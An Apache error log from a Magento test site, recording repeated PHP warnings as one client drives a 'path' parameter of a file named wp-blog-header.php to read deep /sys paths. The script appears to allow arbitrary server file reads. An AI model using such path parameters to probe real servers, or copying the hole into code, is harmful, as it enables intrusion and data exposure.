[Thu Mar 26 16:10:05.587288 2026] [php:warn] [pid 3216441] [client 74.7.241.26:56034] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:c9/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:c9/subsystem/devices/device:aa
[Thu Mar 26 16:12:39.428631 2026] [php:warn] [pid 3106758] [client 74.7.241.26:51256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:8d/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:8d/subsystem/devices/device:ac
[Thu Mar 26 16:13:05.196328 2026] [php:warn] [pid 3216401] [client 74.7.241.26:57076] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:d2/subsystem/devices/device:145/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:d2/subsystem/devices/device:145/subsystem
[Thu Mar 26 16:13:16.843091 2026] [php:warn] [pid 3216401] [client 74.7.241.26:57076] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:d2/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:d2/subsystem/devices/device:ea
[Thu Mar 26 16:15:39.623115 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:b7/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:b7/subsystem/devices/device:fc
[Thu Mar 26 16:17:28.418041 2026] [php:warn] [pid 3216441] [client 74.7.241.26:40004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:c8/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:c8/subsystem/devices/device:fa
[Thu Mar 26 16:19:49.206620 2026] [php:warn] [pid 3344397] [client 74.7.241.26:42962] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:b5/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:b5/subsystem/devices/device:ac
[Thu Mar 26 16:20:40.501171 2026] [php:warn] [pid 3236333] [client 74.7.241.26:56698] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/drivers/battery/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/drivers/battery
[Thu Mar 26 16:20:55.352137 2026] [php:warn] [pid 3236333] [client 74.7.241.26:56698] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/asiliantfb/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/asiliantfb
[Thu Mar 26 16:21:24.139603 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54310] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:f2/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:f2/subsystem/devices/device:ae
[Thu Mar 26 16:21:29.408962 2026] [php:notice] [pid 3216147] [client 74.7.241.26:54310] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:f2/subsystem/devices/device:ae/power
[Thu Mar 26 16:21:40.209730 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54310] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/xhci_hcd/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/xhci_hcd
[Thu Mar 26 16:21:41.770453 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54310] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/ahci/remove_id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/ahci
[Thu Mar 26 16:21:43.377499 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54310] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/vmw_pvscsi/remove_id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/vmw_pvscsi
[Thu Mar 26 16:21:53.394642 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54310] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/vmw_vmci/module/sections/.note.gnu.build-id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/vmw_vmci/module/sections
[Thu Mar 26 16:21:53.921168 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54310] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/pata_acpi/module/sections/.note.gnu.build-id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/pata_acpi/module/sections
[Thu Mar 26 16:21:55.532071 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54310] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/vmw_pvscsi/module/sections/.note.gnu.build-id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/vmw_pvscsi/module/sections
[Thu Mar 26 16:22:14.180405 2026] [php:warn] [pid 3216554] [client 74.7.241.26:57144] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/ahci/module/sections/.note.gnu.build-id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/physical_node/subsystem/drivers/ahci/module/sections
[Thu Mar 26 16:22:16.714682 2026] [php:warn] [pid 3216554] [client 74.7.241.26:57144] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:f2/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:f2
[Thu Mar 26 16:22:17.312880 2026] [php:warn] [pid 3216554] [client 74.7.241.26:57144] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae
[Thu Mar 26 16:22:32.697163 2026] [php:warn] [pid 3216554] [client 74.7.241.26:57144] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:fd/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:fd/device:fe
[Thu Mar 26 16:22:55.772441 2026] [php:warn] [pid 3230778] [client 74.7.241.26:36132] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:2a/subsystem/devices/device:ff/device:100/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:2a/subsystem/devices/device:ff/device:100
[Thu Mar 26 16:23:09.377641 2026] [php:warn] [pid 3230778] [client 74.7.241.26:36132] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:b9/device:ba/subsystem/devices/device:104/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:b9/device:ba/subsystem/devices/device:104
[Thu Mar 26 16:23:17.022645 2026] [php:warn] [pid 3230778] [client 74.7.241.26:36132] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:d7/subsystem/devices/device:ff/device:100/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:d7/subsystem/devices/device:ff/device:100
[Thu Mar 26 16:23:34.941555 2026] [php:warn] [pid 3230778] [client 74.7.241.26:36132] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:7b/subsystem/drivers/battery/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:7b/subsystem/drivers/battery
[Thu Mar 26 16:23:46.733918 2026] [php:warn] [pid 3230778] [client 74.7.241.26:36132] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:7d/subsystem/drivers/thermal/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:7d/subsystem/drivers/thermal
[Thu Mar 26 16:23:53.278502 2026] [php:warn] [pid 3216441] [client 74.7.241.26:48678] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:f2/subsystem/drivers/thermal/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:f2/subsystem/drivers/thermal
[Thu Mar 26 16:24:11.244295 2026] [php:warn] [pid 3216441] [client 74.7.241.26:48678] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:2f/subsystem/drivers/thermal/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:2f/subsystem/drivers/thermal
[Thu Mar 26 16:24:17.706851 2026] [php:warn] [pid 3216441] [client 74.7.241.26:48678] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:8a/subsystem/drivers/thermal/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:8a/subsystem/drivers/thermal
[Thu Mar 26 16:24:20.934784 2026] [php:warn] [pid 3216441] [client 74.7.241.26:48678] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:c1/subsystem/drivers/thermal/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:c1/subsystem/drivers/thermal
[Thu Mar 26 16:25:16.390834 2026] [php:warn] [pid 3216602] [client 74.7.241.26:46006] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:1d/subsystem/drivers/thermal/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:1d/subsystem/drivers/thermal
[Thu Mar 26 16:25:24.717307 2026] [php:warn] [pid 3216602] [client 74.7.241.26:46006] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:6b/subsystem/drivers/thermal/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:6b/subsystem/drivers/thermal
[Thu Mar 26 16:25:34.393794 2026] [php:warn] [pid 3216602] [client 74.7.241.26:46006] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:c6/subsystem/drivers/thermal/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:c6/subsystem/drivers/thermal
[Thu Mar 26 16:25:55.647336 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:0c/subsystem/drivers/thermal/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:0c/subsystem/drivers/thermal
[Thu Mar 26 16:26:04.683332 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:9f/subsystem/drivers/thermal/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:9f/subsystem/drivers/thermal
[Thu Mar 26 16:26:05.261227 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:e7/subsystem/drivers/thermal/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:e7/subsystem/drivers/thermal
[Thu Mar 26 16:26:20.251987 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/tpm_crb/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/tpm_crb
[Thu Mar 26 16:26:22.454233 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/drivers/tpm_crb/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/drivers/tpm_crb
[Thu Mar 26 16:26:25.077866 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb
[Thu Mar 26 16:26:25.603221 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/subsystem
[Thu Mar 26 16:26:26.163385 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/subsystem
[Thu Mar 26 16:26:27.218235 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/physical_node/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/physical_node
[Thu Mar 26 16:26:29.860024 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/physical_node/firmware_node/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/physical_node/firmware_node/device:cc
[Thu Mar 26 16:26:30.612836 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/physical_node
[Thu Mar 26 16:26:35.269178 2026] [php:warn] [pid 3216602] [client 74.7.241.26:44686] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/physical_node/driver/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/physical_node/driver
